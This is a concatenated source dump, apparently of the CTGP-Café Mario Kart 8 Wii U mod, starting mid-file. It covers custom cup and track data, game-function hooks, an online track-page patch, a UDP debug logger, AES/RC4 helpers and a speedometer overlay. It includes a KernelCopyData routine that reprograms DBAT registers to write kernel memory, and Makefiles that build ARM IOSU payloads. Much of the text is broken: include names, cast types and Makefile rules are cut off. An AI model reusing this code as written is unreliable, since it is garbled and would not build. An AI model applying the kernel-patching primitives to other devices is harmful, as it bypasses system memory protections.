struct CUP0_CupEntries { 24 | int pageId; 25 | int cupId; 26 | uint32_t cupNameStr; 27 | uint32_t cupIconStr; 28 | } CUP0_CupEntries; 29 | 30 | typedef struct CUP0_TrackEntries { 31 | int pageId; 32 | int cupId; 33 | uint32_t trackPathStr; 34 | uint32_t trackPicStr; 35 | uint32_t trackRetroStr; 36 | uint32_t trackNameStr; 37 | uint32_t trackId; 38 | } CUP0_TrackEntries; 39 | 40 | typedef struct CUP0_Pages { 41 | bool pageCustomCups[8]; 42 | nw::lyt::TextureInfo* cupBflimFile[8]; 43 | nw::lyt::TextureInfo* trackBflimFiles[8][4]; 44 | int cupName[8]; 45 | int trackNames[8][4]; 46 | int retroTrackNames[8][4]; 47 | char* trackPaths[8][4]; 48 | } CUP0_Pages; 49 | 50 | namespace ctgp { 51 | 52 | class CUP0 : ctgp::common::RootClass { 53 | public: 54 | uint8_t* data = NULL; 55 | size_t numPages = 0; 56 | CUP0_Pages** pages = NULL; 57 | 58 | char** trackNames = (char**)(0x101ab678 + MK8_DATA_OFFSET); 59 | int* cupMessageId = (int*)(0x100D3E84 + MK8_DATA_OFFSET); 60 | char* trackNamesMod[TRACK_MAX_ID] = { 0 }; 61 | int cupMessageIdSave[12]; 62 | 63 | nw::lyt::TextureInfo* cupBflimFile[8]; 64 | nw::lyt::TextureInfo cupBflimFileSave[8]; 65 | 66 | CUP0(); 67 | 68 | /** 69 | * @brief Initialize cup0 data 70 | * 71 | */ 72 | virtual void Initialize(); 73 | 74 | /** 75 | * @brief Create a Instance object of CUP0 76 | * 77 | * @return ctgp::CUP0* 78 | */ 79 | static inline ctgp::CUP0* createInstance() { 80 | ctgp::CUP0* inst = new ctgp::CUP0(); 81 | inst->Initialize(); 82 | return inst; 83 | } 84 | }; 85 | 86 | ///! CUP0 instance 87 | extern CUP0* CUP0Instance; 88 | } // namespace ctgp 89 | 90 | #endif -------------------------------------------------------------------------------- /source/patch/online.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _PATCH_ONLINE_H 2 | #define _PATCH_ONLINE_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include "patch/course.hpp" 23 | #include "patch/global_patch.hpp" 24 | #include "patch/message.hpp" 25 | #include "utils.hpp" 26 | #include "wiiu/patcher.h" 27 | 28 | #include 29 | 30 | namespace ctgp { 31 | 32 | enum PacketID : uint32_t { 33 | PACKET_ID_SEND_TRACK_PAGE, 34 | PACKET_ID_SEND_TRACK_IDS, 35 | }; 36 | 37 | class OnlinePatch : ctgp::common::RootClass { 38 | private: 39 | public: 40 | int m_TrackOptionsPage[4] = { 0, 0, 0, 0 }; 41 | 42 | public: 43 | /** 44 | * @brief Construct a new Online Patch object 45 | * 46 | */ 47 | OnlinePatch() { 48 | this->setName("ctgp::OnlinePatch"); 49 | } 50 | 51 | /** 52 | * @brief Initialize the OnlinePatch object 53 | * 54 | */ 55 | virtual void Initialize(); 56 | 57 | static void SendToStation(int stationId, void* buffer) { 58 | sockaddr_in tmp_addr = { 0 }; 59 | nn::pia::common::StationAddress client_addr; 60 | nn::pia::transport::StationManager::getInstance()->GetStationAddress(&client_addr, stationId); 61 | tmp_addr.sin_addr.s_addr = client_addr.inetAddress.host; 62 | tmp_addr.sin_port = client_addr.inetAddress.port; 63 | tmp_addr.sin_family = AF_INET; 64 | for (int i = 0; i < 4; i++) 65 | sendto(nn::pia::transport::ThreadStreamManager::getInstance()->getOutputStream()->socket->fd, buffer, 0x554, 0x60, (const sockaddr_in*)&tmp_addr, 16); 66 | } 67 | 68 | /** 69 | * @brief Create a Instance of OnlinePatch 70 | * 71 | * @return ctgp::OnlinePatch* 72 | */ 73 | static inline ctgp::OnlinePatch* createInstance() { 74 | ctgp::OnlinePatch* inst = new ctgp::OnlinePatch(); 75 | inst->Initialize(); 76 | return inst; 77 | } 78 | }; 79 | 80 | extern OnlinePatch* OnlinePatchInstance; 81 | 82 | } // namespace ctgp 83 | 84 | #endif -------------------------------------------------------------------------------- /source/arch/wiiu/powerpc_750cl/ppc_sr.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _AA_PPC_SR_H 2 | #define _AA_PPC_SR_H 3 | 4 | #include "ppc.hpp" 5 | 6 | constexpr inline uint32_t CalculatePTEGAddress(uint32_t sdr1, uint32_t pageIndex, uint32_t hash) { 7 | uint32_t pageTable = sdr1 & SDR1_HTABORG_MASK; 8 | uint32_t pageMask = sdr1 & SDR1_HTABMASK_MASK; 9 | uint32_t maskedHash = hash & ((pageMask << 10) | 0x3FF); 10 | return pageTable | (maskedHash << 6); 11 | } 12 | 13 | constexpr inline void GetValidPTEGFromAddr(PowerPC_MemoryRegisters* regs, uint32_t* pageTable, int srId, uint32_t addr, uint32_t* PTEH, uint32_t* PTEL) { 14 | uint32_t sr = regs->sr[srId]; 15 | uint32_t sdr1 = regs->sdr1; 16 | uint32_t VSID = sr & SR_VSID_MASK; 17 | 18 | if (sr & SR_T_BIT) { 19 | return; 20 | } 21 | 22 | /* Espresso feature only: Large page mode = 128 KB page instead of 4 KB */ 23 | uint32_t pageIndex = (addr >> 17) & 0x7FF; 24 | uint32_t hash = (VSID & 0x7FFFF) ^ pageIndex; 25 | 26 | /* Calculate PTEG address from Effective Address */ 27 | uint32_t primaryPTEG = CalculatePTEGAddress(sdr1, pageIndex, hash); 28 | uint32_t secondaryPTEG = CalculatePTEGAddress(sdr1, pageIndex, ~hash); 29 | 30 | // Loop through each primary PTEs 31 | for (int j = 0; j < 8; j++) { 32 | uint32_t idx = ((primaryPTEG + (j * 8)) - (sdr1 & SDR1_HTABORG_MASK)) / 4; 33 | uint32_t currentPTEH = pageTable[idx + 0]; 34 | uint32_t currentPTEL = pageTable[idx + 1]; 35 | 36 | /* V bit, 0 -> Invalid | 1 -> Valid */ 37 | if (!(currentPTEH & PTEH_V_BIT)) 38 | continue; 39 | 40 | /* First hash. */ 41 | if (currentPTEH & PTEH_H_BIT) 42 | continue; 43 | 44 | /* SR VSID and entry VSID doesn't match.. */ 45 | if (((currentPTEH >> PTEH_VSID_SHIFT) & PTEH_VSID_MASK) != VSID) 46 | continue; 47 | 48 | /* API != high bits of the page index */ 49 | if ((currentPTEH & PTEH_API_MASK) != (pageIndex >> 5)) 50 | continue; 51 | 52 | *PTEH = currentPTEH; 53 | *PTEL = currentPTEL; 54 | return; 55 | } 56 | 57 | /* Loop through each secondary PTEs */ 58 | for (int j = 0; j < 8; j++) { 59 | uint32_t idx = ((secondaryPTEG + (j * 8)) - (sdr1 & SDR1_HTABORG_MASK)) / 4; 60 | uint32_t currentPTEH = pageTable[idx + 0]; 61 | uint32_t currentPTEL = pageTable[idx + 1]; 62 | 63 | /* V bit, 0 -> Invalid | 1 -> Valid */ 64 | if (!(currentPTEH & PTEH_V_BIT)) 65 | continue; 66 | 67 | /* Second hash. */ 68 | if (!(currentPTEH & PTEH_H_BIT)) 69 | continue; 70 | 71 | /* SR VSID and entry VSID doesn't match.. */ 72 | if (((currentPTEH >> PTEH_VSID_SHIFT) & PTEH_VSID_MASK) != VSID) 73 | continue; 74 | 75 | /* API != high bits of the page index */ 76 | if ((currentPTEH & PTEH_API_MASK) != (pageIndex >> 5)) 77 | continue; 78 | 79 | *PTEH = currentPTEH; 80 | *PTEL = currentPTEL; 81 | return; 82 | } 83 | } 84 | 85 | #endif -------------------------------------------------------------------------------- /source/wiiu/debug.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _WIIU_DEBUGGER_H 2 | #define _WIIU_DEBUGGER_H 3 | 4 | #include "symbols.h" 5 | 6 | void ExceptionHandler(const char* type, OSContext* context); 7 | 8 | namespace ctgp::common { 9 | 10 | /** 11 | * @brief Class holder for the UDP debugger used to send message to a computer 12 | * running the "udplogserver" 13 | * 14 | */ 15 | class UDPDebugger : public ctgp::common::RootClass { 16 | private: 17 | ///! Socket mutex for concurrent log message 18 | OSMutex m_SocketMutex; 19 | 20 | public: 21 | sockaddr_in m_SocketAddr; 22 | int m_SocketFd = -1; 23 | int m_Port = 4405; 24 | 25 | public: 26 | /** 27 | * @brief Construct a new UDPDebugger object 28 | * 29 | * @param port UDP port (must be in range 0 > x < 65536) 30 | */ 31 | UDPDebugger(int port = 4405); 32 | 33 | /** 34 | * @brief Sends a buffer to the datagram socket 35 | * 36 | * @param txt 37 | */ 38 | void PrintLog(const char* txt); 39 | 40 | /** 41 | * @brief Format and send a buffer to the datagram socket 42 | * 43 | * @param fmt 44 | * @param ... 45 | */ 46 | void PrintLogf(const char* fmt, ...); 47 | 48 | /** 49 | * @brief Open an UDP socket and feeds the socket address with the required 50 | * values 51 | * 52 | */ 53 | virtual void Initialize(); 54 | 55 | /** 56 | * @brief Get the Port object 57 | * 58 | * @return int UDP port (must be in range 0 > x < 65536) 59 | */ 60 | int getPort() { 61 | return this->m_Port; 62 | } 63 | 64 | /** 65 | * @brief Set the Port object 66 | * 67 | * @param port UDP port (must be in range 0 > x < 65536) 68 | */ 69 | void setPort(int port) { 70 | this->m_Port = port; 71 | } 72 | 73 | /** 74 | * @brief Locks the mutex 75 | * 76 | */ 77 | void enterCriticalSection() { 78 | OSLockMutex(&m_SocketMutex); 79 | } 80 | 81 | /** 82 | * @brief Unlocks the mutex 83 | * 84 | */ 85 | void leaveCriticalSection() { 86 | OSUnlockMutex(&m_SocketMutex); 87 | } 88 | 89 | /** 90 | * @brief Create a Instance of the UDPDebugger and initializes it 91 | * 92 | * @return ctgp::common::UDPDebugger* 93 | */ 94 | static inline ctgp::common::UDPDebugger* createInstance() { 95 | ctgp::common::UDPDebugger* inst = new ctgp::common::UDPDebugger(); 96 | inst->Initialize(); 97 | return inst; 98 | } 99 | }; 100 | 101 | ///! UDPDebugger instance 102 | extern UDPDebugger* UDPDebuggerInstance; 103 | } // namespace ctgp::common 104 | 105 | #define __FILENAME_X__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__) 106 | #define __FILENAME__ (strrchr(__FILE__, '/') ? strrchr(__FILE__, '/') + 1 : __FILENAME_X__) 107 | 108 | #ifdef __DEBUG__ 109 | #define DBG_LOG(FMT, ARGS...) \ 110 | do { \ 111 | printf("%s:%s:%d | " FMT, __FILENAME__, __FUNCTION__, __LINE__, ##ARGS); \ 112 | } while (0) 113 | #else 114 | #define DBG_LOG(FMT, ARGS...) 115 | #endif 116 | 117 | #endif 118 | -------------------------------------------------------------------------------- /source/private/crypto_engine.cpp: -------------------------------------------------------------------------------- 1 | #include "crypto_engine.hpp" 2 | 3 | ctgp::crypto::CryptoEngine* ctgp::crypto::CryptoEngineInstance = NULL; 4 | 5 | void ctgp::crypto::CryptoEngine::Initialize() { 6 | CryptoEngineInstance = this; 7 | register_cipher(&aes_desc); 8 | } 9 | 10 | void ctgp::crypto::CryptoEngine::AES_Encrypt16(uint8_t* key, uint8_t* iv, uint8_t* source, uint8_t* dest, size_t length) { 11 | symmetric_CBC cbc; 12 | cbc_start(find_cipher("aes"), static_cast(iv), static_cast(key), 16, 0, &cbc); 13 | cbc_encrypt(source, dest, length, &cbc); 14 | cbc_done(&cbc); 15 | } 16 | 17 | void ctgp::crypto::CryptoEngine::AES_Encrypt32(uint8_t* key, uint8_t* iv, uint8_t* source, uint8_t* dest, size_t length) { 18 | symmetric_CBC cbc; 19 | cbc_start(find_cipher("aes"), static_cast(iv), static_cast(key), 32, 0, &cbc); 20 | cbc_encrypt(source, dest, length, &cbc); 21 | cbc_done(&cbc); 22 | } 23 | 24 | void ctgp::crypto::CryptoEngine::AES_Decrypt16(uint8_t* key, uint8_t* iv, uint8_t* source, uint8_t* dest, size_t length) { 25 | symmetric_CBC cbc; 26 | cbc_start(find_cipher("aes"), static_cast(iv), static_cast(key), 16, 0, &cbc); 27 | cbc_decrypt(source, dest, length, &cbc); 28 | cbc_done(&cbc); 29 | } 30 | 31 | void ctgp::crypto::CryptoEngine::AES_Decrypt32(uint8_t* key, uint8_t* iv, uint8_t* source, uint8_t* dest, size_t length) { 32 | symmetric_CBC cbc; 33 | cbc_start(find_cipher("aes"), static_cast(iv), static_cast(key), 32, 0, &cbc); 34 | cbc_decrypt(source, dest, length, &cbc); 35 | cbc_done(&cbc); 36 | } 37 | 38 | void ctgp::crypto::CryptoEngine::RC4_EncryptDecrypt(uint8_t* key, size_t keylen, uint8_t* source, uint8_t* dest, size_t data_len, size_t offset) { 39 | internal_rc4_state st; 40 | internal_rc4_init(&st, key, keylen), internal_rc4_crypt(&st, source, dest, data_len, offset); 41 | } 42 | 43 | static __inline void swap_bytes(uint8_t* a, uint8_t* b) { 44 | uint8_t temp; 45 | temp = *a; 46 | *a = *b; 47 | *b = temp; 48 | } 49 | 50 | void internal_rc4_init(internal_rc4_state* state, uint8_t* key, int keylen) { 51 | uint8_t j; 52 | int i; 53 | 54 | for (i = 0; i < 256; i++) 55 | state->perm[i] = (uint8_t)i; 56 | 57 | state->index1 = 0; 58 | state->index2 = 0; 59 | 60 | for (j = i = 0; i < 256; i++) { 61 | j += state->perm[i] + key[i % keylen]; 62 | swap_bytes(&state->perm[i], &state->perm[j]); 63 | } 64 | } 65 | 66 | void internal_rc4_crypt(internal_rc4_state* state, uint8_t* inbuf, uint8_t* outbuf, int buflen, uint32_t start_off) { 67 | int i; 68 | uint8_t j; 69 | 70 | for (uint32_t i = 0; i < start_off; i++) { 71 | 72 | state->index1++; 73 | state->index2 += state->perm[state->index1]; 74 | swap_bytes(&state->perm[state->index1], &state->perm[state->index2]); 75 | j = state->perm[state->index1] + state->perm[state->index2]; 76 | } 77 | 78 | for (i = 0; i < buflen; i++) { 79 | 80 | state->index1++; 81 | state->index2 += state->perm[state->index1]; 82 | 83 | swap_bytes(&state->perm[state->index1], &state->perm[state->index2]); 84 | j = state->perm[state->index1] + state->perm[state->index2]; 85 | 86 | outbuf[i] = inbuf[i] ^ state->perm[j]; 87 | } 88 | } -------------------------------------------------------------------------------- /arm_iosu_code/arm_user/Makefile: -------------------------------------------------------------------------------- 1 | # This is a minimal set of ANSI/VT100 color codes 2 | _END=$'\033[0m 3 | _BOLD=\033[1m 4 | _UNDER=\033[4m 5 | _REV=\033[7m 6 | 7 | # Colors 8 | _GREY=\033[30m 9 | _RED=\033[31m 10 | _GREEN=\033[32m 11 | _YELLOW=\033[33m 12 | _BLUE=\033[34m 13 | _PURPLE=\033[35m 14 | _CYAN=\033[36m 15 | _WHITE=\033[37m 16 | 17 | ifeq ($(strip $(DEVKITARM)),) 18 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 19 | endif 20 | 21 | ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) 22 | export PATH:=$(DEVKITARM)/bin:$(PATH) 23 | endif 24 | 25 | CC = arm-none-eabi-gcc 26 | # LINK = arm-none-eabi-gcc 27 | LINK = arm-none-eabi-ld 28 | AS = arm-none-eabi-as 29 | OBJCOPY = arm-none-eabi-objcopy 30 | OBJDUMP = arm-none-eabi-objdump 31 | CFLAGS += -Wall -mbig-endian -std=gnu99 -mcpu=arm926ej-s -Os -I$(DEVKITPRO)/libnds/include 32 | LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map 33 | 34 | CFILES = $(wildcard source/*.c) 35 | BINFILES = $(wildcard data/*.bin) 36 | OFILES = $(BINFILES:data/%.bin=build/%.bin.o) 37 | OFILES += $(CFILES:source/%.c=build/%.o) 38 | DFILES = $(CFILES:source/%.c=build/%.d) 39 | SFILES = $(wildcard source/*.s) 40 | OFILES += $(SFILES:source/%.s=build/%.o) 41 | PROJECTNAME = ${shell basename "$(CURDIR)"} 42 | CWD = "$(CURDIR)"" 43 | 44 | #--------------------------------------------------------------------------------- 45 | # canned command sequence for binary data, taken from devkitARM 46 | #--------------------------------------------------------------------------------- 47 | define bin2o 48 | bin2s $< | $(AS) -o $(@) 49 | echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ 68 | @cp $(PROJECTNAME)_bin.h ../../source/iosu_payload/$(PROJECTNAME).h 69 | 70 | $(PROJECTNAME).elf: show_head $(OFILES) 71 | @echo -e "${_PURPLE}[ARM LD]${_END} Linking ${_CYAN}$(notdir $@)${_END}.." 72 | @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) -L"libs" -lgcc 73 | 74 | 75 | clean: 76 | @rm -f build/*.o build/*.d 77 | @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h 78 | 79 | -include $(DFILES) 80 | 81 | show_head: 82 | @echo -e "${_YELLOW}\nBuilding ARM user code${_END}" 83 | 84 | build/%.o: source/%.c 85 | @echo -e "${_GREEN}[ARM C++]${_END} Building ${_CYAN}$(notdir $<)${_END}.." 86 | @$(CC) $(CFLAGS) -c $< -o $@ 87 | @$(CC) -MM $< > build/$*.d 88 | 89 | build/%.o: source/%.s 90 | @echo -e "${_RED}[ARM ASM]${_END} Building ${_CYAN}$(notdir $<)${_END}.." 91 | @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ 92 | @$(CC) -MM $< > build/$*.d 93 | 94 | build/%.bin.o: data/%.bin 95 | @echo $(notdir $<) 96 | @$(bin2o) 97 | -------------------------------------------------------------------------------- /arm_iosu_code/arm_kernel/Makefile: -------------------------------------------------------------------------------- 1 | # This is a minimal set of ANSI/VT100 color codes 2 | _END=$'\033[0m 3 | _BOLD=\033[1m 4 | _UNDER=\033[4m 5 | _REV=\033[7m 6 | 7 | # Colors 8 | _GREY=\033[30m 9 | _RED=\033[31m 10 | _GREEN=\033[32m 11 | _YELLOW=\033[33m 12 | _BLUE=\033[34m 13 | _PURPLE=\033[35m 14 | _CYAN=\033[36m 15 | _WHITE=\033[37m 16 | 17 | ifeq ($(strip $(DEVKITARM)),) 18 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 19 | endif 20 | 21 | ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) 22 | export PATH:=$(DEVKITARM)/bin:$(PATH) 23 | endif 24 | 25 | CC = arm-none-eabi-gcc 26 | # LINK = arm-none-eabi-gcc 27 | LINK = arm-none-eabi-ld 28 | AS = arm-none-eabi-as 29 | OBJCOPY = arm-none-eabi-objcopy 30 | OBJDUMP = arm-none-eabi-objdump 31 | CFLAGS += -Wall -mbig-endian -std=gnu99 -mcpu=arm926ej-s -Os -I$(DEVKITPRO)/libnds/include 32 | LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map 33 | 34 | CFILES = $(wildcard source/*.c) 35 | BINFILES = $(wildcard data/*.bin) 36 | OFILES = $(BINFILES:data/%.bin=build/%.bin.o) 37 | OFILES += $(CFILES:source/%.c=build/%.o) 38 | DFILES = $(CFILES:source/%.c=build/%.d) 39 | SFILES = $(wildcard source/*.s) 40 | OFILES += $(SFILES:source/%.s=build/%.o) 41 | PROJECTNAME = ${shell basename "$(CURDIR)"} 42 | CWD = "$(CURDIR)"" 43 | 44 | #--------------------------------------------------------------------------------- 45 | # canned command sequence for binary data, taken from devkitARM 46 | #--------------------------------------------------------------------------------- 47 | define bin2o 48 | bin2s $< | $(AS) -o $(@) 49 | echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ 68 | @cp $(PROJECTNAME)_bin.h ../../source/iosu_payload/$(PROJECTNAME).h 69 | 70 | $(PROJECTNAME).elf: show_head $(OFILES) 71 | @echo -e "${_PURPLE}[ARM LD]${_END} Linking ${_CYAN}$(notdir $@)${_END}.." 72 | @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) -L"libs" -lgcc 73 | 74 | 75 | clean: 76 | @rm -f build/*.o build/*.d 77 | @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h 78 | 79 | -include $(DFILES) 80 | 81 | show_head: 82 | @echo -e "${_YELLOW}\nBuilding ARM kernel code${_END}" 83 | 84 | build/%.o: source/%.c 85 | @echo -e "${_GREEN}[ARM C++]${_END} Building ${_CYAN}$(notdir $<)${_END}.." 86 | @$(CC) $(CFLAGS) -c $< -o $@ 87 | @$(CC) -MM $< > build/$*.d 88 | 89 | build/%.o: source/%.s 90 | @echo -e "${_RED}[ARM ASM]${_END} Building ${_CYAN}$(notdir $<)${_END}.." 91 | @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ 92 | @$(CC) -MM $< > build/$*.d 93 | 94 | build/%.bin.o: data/%.bin 95 | @echo $(notdir $<) 96 | @$(bin2o) 97 | -------------------------------------------------------------------------------- /source/main.cpp: -------------------------------------------------------------------------------- 1 | #include "main.hpp" 2 | 3 | nn::erreula::AppearArg errorArg; 4 | void FatalError(const char* titleText, const char* errorText) { 5 | if (errorArg.errorType != 1) { 6 | errorArg.errorType = 1; 7 | errorArg.errorCode = 4441337; 8 | errorArg.errorText = fromUTF8((char*)errorText); 9 | errorArg.titleText = fromUTF8((char*)titleText); 10 | } 11 | } 12 | 13 | void Page_TitleTop_AttachementRedirection(ui::UIPage* _this) { 14 | ((ui::Page_TitleTop*)(_this))->mainControl->setMessage("T_VerNum_00", u"CTGP"); 15 | } 16 | 17 | ui::UIControl* raceViewMainControl = NULL; 18 | DECL_CXX_HOOK(int, ui::Page_Race::bindWindowLayout_, ui::UIPage* _this, ui::UIControl* mainControl, void* raceWindow) { 19 | int ret = real(_this, mainControl, raceWindow); 20 | raceViewMainControl = mainControl; 21 | raceViewMainControl->findPane("L_Speedometer_00")->setVisible(false); 22 | return ret; 23 | } 24 | 25 | DECL_CXX_HOOK(int, nn::nex::JobCafeLogin::NexAuthenticationFunc, void* _this, void* arg) { 26 | int r = real(_this, arg); 27 | // ACTNexAuthenticationResult* nexAuthResult = 28 | // (ACTNexAuthenticationResult*)(0x10210940 + MK8_DATA_OFFSET); 29 | // strcpy((char*)&nexAuthResult->m_NexIPAddress, "192.168.1.42"); 30 | // nexAuthResult->m_Port = 1223; 31 | return r; 32 | } 33 | 34 | int MainThread(int argc, void* argv) { 35 | 36 | InitializePatcher(); 37 | InitializePatchFilesystem(); 38 | 39 | OSSleepTicks(OSMillisecondsToTicks(1500)); 40 | 41 | ctgp::GlobalPatch::createInstance(); 42 | InitializePatchMessage(); 43 | ctgp::CoursePatch::createInstance(); 44 | ctgp::OnlinePatch::createInstance(); 45 | 46 | ctgp::GlobalPatchInstance->RegisterAttachRedirection(ui::Page_TitleTop::ID, Page_TitleTop_AttachementRedirection); 47 | MK8_HOOK_CXX_FUNC(0x0263FFC8, ui::Page_Race::bindWindowLayout_); 48 | MK8_HOOK_CXX_FUNC(0x0299C9E0, nn::nex::JobCafeLogin::NexAuthenticationFunc); 49 | 50 | OSSleepTicks(OSSecondsToTicks(8)); 51 | sys::SystemEngine* engine = sys::SystemEngine::getEngine(); 52 | 53 | ctgp::GlobalPatchInstance->m_IsRgsConnected = false; 54 | 55 | int cnt = 0; 56 | while (1) { 57 | 58 | if (errorArg.errorType == 1) { 59 | engine->launchErrorViewer(&errorArg); 60 | while (1) { 61 | GX2WaitForVsync(); 62 | } 63 | } 64 | 65 | /* Speedometer text update */ 66 | if (*object::spRaceDirector && // if race director exists 67 | *(uint32_t*)((*object::spRaceDirector) + 0x238) && // and if the race state ptr was allocated 68 | object::IsRaceState() && // and if we're in a race 69 | raceViewMainControl) // and raceViewControl was created 70 | { 71 | object::KartDirector* kartDirector = (object::KartDirector*)*object::spKartDirector; 72 | float speed = kartDirector->getKartUnit(0)->vehicle->vehicleMove->driveSpd * 12.0f; 73 | char buffer[32]; 74 | __os_snprintf(buffer, 32, "%.0f km/h", speed); 75 | char16_t* wbuffer = fromUTF8(buffer); 76 | ModifyMessage(wbuffer, SPEEDOMETER_MSG_ID, true); 77 | nw::lyt::Pane* speedo = raceViewMainControl->findPane("L_Speedometer_00"); 78 | if (speedo) { 79 | speedo->setVisible(true); 80 | raceViewMainControl->setMessage(speedo, SPEEDOMETER_MSG_ID); 81 | } 82 | } 83 | 84 | GX2WaitForVsync(); 85 | cnt++; 86 | } 87 | 88 | return 0; 89 | } -------------------------------------------------------------------------------- /source/private/kernel.cpp: -------------------------------------------------------------------------------- 1 | #include "utils.hpp" 2 | 3 | void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) { 4 | 5 | /* 6 | * Setup a DBAT access with cache inhibited to write through and read directly 7 | * from memory 8 | */ 9 | 10 | // save the original DBAT value 11 | unsigned int dbatu0, dbatl0, dbatu1, dbatl1; 12 | asm volatile("mfdbatu %0, 0" : "=r"(dbatu0)); 13 | asm volatile("mfdbatl %0, 0" : "=r"(dbatl0)); 14 | asm volatile("mfdbatu %0, 1" : "=r"(dbatu1)); 15 | asm volatile("mfdbatl %0, 1" : "=r"(dbatl1)); 16 | 17 | unsigned int target_dbatu0 = 0; 18 | unsigned int target_dbatl0 = 0; 19 | unsigned int target_dbatu1 = 0; 20 | unsigned int target_dbatl1 = 0; 21 | 22 | unsigned char* dst_p = (unsigned char*)addr; 23 | unsigned char* src_p = (unsigned char*)src; 24 | 25 | // we only need DBAT modification for addresses out of our own DBAT range 26 | // as our own DBAT is available everywhere for user and supervisor 27 | // since our own DBAT is on DBAT5 position we don't collide here 28 | if (addr < 0x00800000 || addr >= 0x01000000) { 29 | target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; 30 | target_dbatl0 = (addr & 0xFFF00000) | 0x32; 31 | asm volatile("mtdbatu 0, %0" : : "r"(target_dbatu0)); 32 | asm volatile("mtdbatl 0, %0" : : "r"(target_dbatl0)); 33 | dst_p = (unsigned char*)((addr & 0xFFFFFF) | 0xC0000000); 34 | } 35 | if (src < 0x00800000 || src >= 0x01000000) { 36 | target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; 37 | target_dbatl1 = (src & 0xFFF00000) | 0x32; 38 | 39 | asm volatile("mtdbatu 1, %0" : : "r"(target_dbatu1)); 40 | asm volatile("mtdbatl 1, %0" : : "r"(target_dbatl1)); 41 | src_p = (unsigned char*)((src & 0xFFFFFF) | 0xB0000000); 42 | } 43 | 44 | asm volatile("eieio; isync"); 45 | 46 | unsigned int i; 47 | for (i = 0; i < len; i++) { 48 | // if we are on the edge to next chunk 49 | if ((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) { 50 | target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; 51 | target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; 52 | dst_p = (unsigned char*)(((addr + i) & 0xFFFFFF) | 0xC0000000); 53 | 54 | asm volatile("eieio; isync"); 55 | asm volatile("mtdbatu 0, %0" : : "r"(target_dbatu0)); 56 | asm volatile("mtdbatl 0, %0" : : "r"(target_dbatl0)); 57 | asm volatile("eieio; isync"); 58 | } 59 | if ((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) { 60 | target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; 61 | target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; 62 | src_p = (unsigned char*)(((src + i) & 0xFFFFFF) | 0xB0000000); 63 | 64 | asm volatile("eieio; isync"); 65 | asm volatile("mtdbatu 1, %0" : : "r"(target_dbatu1)); 66 | asm volatile("mtdbatl 1, %0" : : "r"(target_dbatl1)); 67 | asm volatile("eieio; isync"); 68 | } 69 | 70 | *dst_p = *src_p; 71 | 72 | ++dst_p; 73 | ++src_p; 74 | } 75 | 76 | /* 77 | * Restore original DBAT value 78 | */ 79 | asm volatile("eieio; isync"); 80 | asm volatile("mtdbatu 0, %0" : : "r"(dbatu0)); 81 | asm volatile("mtdbatl 0, %0" : : "r"(dbatl0)); 82 | asm volatile("mtdbatu 1, %0" : : "r"(dbatu1)); 83 | asm volatile("mtdbatl 1, %0" : : "r"(dbatl1)); 84 | asm volatile("eieio; isync"); 85 | } -------------------------------------------------------------------------------- /source/patch/cup0.cpp: -------------------------------------------------------------------------------- 1 | #include "cup0.hpp" 2 | 3 | ctgp::CUP0* ctgp::CUP0Instance = NULL; 4 | 5 | ctgp::CUP0::CUP0() { 6 | this->setName("ctgp::CUP0"); 7 | memcpy(this->trackNamesMod, this->trackNames, sizeof(this->trackNamesMod)); 8 | memcpy(this->cupMessageIdSave, this->cupMessageId, sizeof(this->cupMessageIdSave)); 9 | } 10 | 11 | void ctgp::CUP0::Initialize() { 12 | 13 | this->data = (uint8_t*)GetArchiveFile("/vol/content/data.cup0", NULL, 0x1000); 14 | CUP0_Header* header = (CUP0_Header*)this->data; 15 | if (header->magic != DEFAULT_CUP0_MAGIC) { 16 | FatalError("444-0000", "One of the file is heavily corrupted, please check " 17 | "your SDCard or reinstall CTGP-Café"); 18 | return; 19 | } 20 | 21 | this->numPages = header->numPages; 22 | this->pages = (CUP0_Pages**)calloc(this->numPages, sizeof(CUP0_Pages*)); 23 | for (size_t i = 0; i < this->numPages; i++) 24 | this->pages[i] = (CUP0_Pages*)calloc(1, sizeof(CUP0_Pages)); 25 | 26 | char* stringTable = (char*)(this->data + sizeof(CUP0_Header) + (sizeof(CUP0_CupEntries) * header->numCupEntries) + (sizeof(CUP0_TrackEntries) * header->numTrackEntries)); 27 | CUP0_CupEntries* cupEntries = (CUP0_CupEntries*)(this->data + sizeof(CUP0_Header)); 28 | CUP0_TrackEntries* trackEntries = (CUP0_TrackEntries*)(this->data + sizeof(CUP0_Header) + (sizeof(CUP0_CupEntries) * 